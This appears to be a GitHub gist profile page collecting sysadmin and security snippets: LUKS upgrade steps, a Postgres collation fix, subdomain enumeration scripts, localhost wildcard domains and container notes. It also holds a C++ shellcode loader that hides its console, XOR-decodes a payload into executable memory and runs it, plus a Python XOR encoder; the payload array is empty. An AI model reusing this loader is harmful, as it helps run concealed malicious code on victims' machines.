Skip to content

Instantly share code, notes, and snippets.

View Edu4rdSHL's full-sized avatar
🤖
Nictophile. In love with programming.

Eduard Tolosa Edu4rdSHL

🤖
Nictophile. In love with programming.
View GitHub Profile
@Edu4rdSHL
Edu4rdSHL / luks-upgrade.md
Last active August 23, 2024 06:39 — forked from kravietz/luks-upgrade.md
Ubuntu LUKS cryptsetup upgrade

If you installed your #ubuntu with full-disk #encryption a while, you may want to upgrade your #luks header version to enjoy improved #security and stronger password hashing algorithms.

Boot from USB

You can't change LUKS header from a live system - you need to boot a live Ubuntu USB to be able to access the encrypted partition. First, create a bootable USB stick using a regular Ubuntu installer image.

  • Just get the latest installer ISO available
  • You need the full installer, the mini network installer won't work
  • You may need to disable Secure Boot in BIOS temporarily to boot from USB
@Edu4rdSHL
Edu4rdSHL / private_fork.md
Created May 20, 2024 08:00 — forked from 0xjac/private_fork.md
Create a private fork of a public repository

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

  1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare git@github.com:usi-systems/easytrace.git

@Edu4rdSHL
Edu4rdSHL / fix-postgres-collation.sh
Created February 5, 2024 06:21
Fix postgres collation version mismatch
#!/bin/bash
# PostgreSQL connection parameters
PG_USER="postgres"
PG_HOST="localhost"
PG_PORT="5432"
# Get a list of databases
databases=$(psql -U $PG_USER -h $PG_HOST -p $PG_PORT -q -t -c "SELECT datname FROM pg_database")
@Edu4rdSHL
Edu4rdSHL / findomain_integration.sh
Last active April 5, 2023 05:43
Simple script to collect the info from the top enumeration tools, unify all the results in a same file, import the data to Findomain and include it in the monitoring process while saving to database.
#!/usr/bin/env bash
# Simple script to collect the info from the top enumeration tools, unify all the results in a same file, import the data to Findomain and include it in the monitoring process while saving to database.
# Usage:
# ./findomain_integration.sh domains_file findomain_config_file - see https://www.github.com/Edu4rdSHL/findomain/tree/master/config_examples
domains_file="$1"
config_file="$2"
total_file="all_external_subdomains.txt"
external_sources() {
local amass_file="amass_output.txt"
@Edu4rdSHL
Edu4rdSHL / DNS_TO_LOCALHOST.markdown
Created August 18, 2022 20:05 — forked from tinogomes/DNS_TO_LOCALHOST.markdown
Public DNS Pointing to localhost (127.0.0.1)

Available Public Wildcard DNS Domains pointing to localhost (127.0.0.1)

It turns out that some kind hearted people already set up wildcard domains for you already. You can use any domain below and/or any subdomain of these and they currently resolve to 127.0.0.1 but could switch at any time to resolve somewhere else. Here's the list of ones I know about. Let me know if there are more!

  • localhost - It will always works. Do you know why? I hope so.
  • [*.]fbi.com - 👏 👏 👏 👏 👏
  • [*.]localtest.me
  • [*.]127-0-0-1.org.uk
  • [*.]vcap.me
  • [*.]yoogle.com

Keybase proof

I hereby claim:

  • I am edu4rdshl on github.
  • I am edu4rdshl (https://keybase.io/edu4rdshl) on keybase.
  • I have a public key ASDaGNIYENg2zvhVL4b00fxz-aKxAMVtAzbzi5yb3M9u9Qo

To claim this, I am signing this object:

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
char b[] = { };
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
#!/usr/bin/env python2
import sys
KEY = 'x'
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]

Pre-requisitos:

arch-install-scripts, deboostrap

Instalación ArchLinux: mkdir ArchLinux && pacstrap -c ArchLinux base linux-api-headers

Una vez iniciada sesion con systemd-nspawn -D ArchLinux (debe usar la opción -D solamente), debemos borrar los archivos /etc/securetty y /usr/share/factory/etc/securetty dentro del contenedor solamente, además de añadirlos al archivo /etc/pacman.conf del mismo, en la opción NoExtract. La línea sería la siguiente:

NoExtract = /etc/securetty /usr/share/factory/etc/securetty

[ SecHackLabs ~/Projects/Rust/Development/findomain ] [develop]
└─ ▶ time ./target/release/findomain -t aol.com --query-database -i --threads 100

Target ==> aol.com

Searching subdomains in the Findomain database for the target aol.com 🔍

Performing asynchronous subdomains resolution for 70600 subdomains with 100 threads, it will take a while. 🧐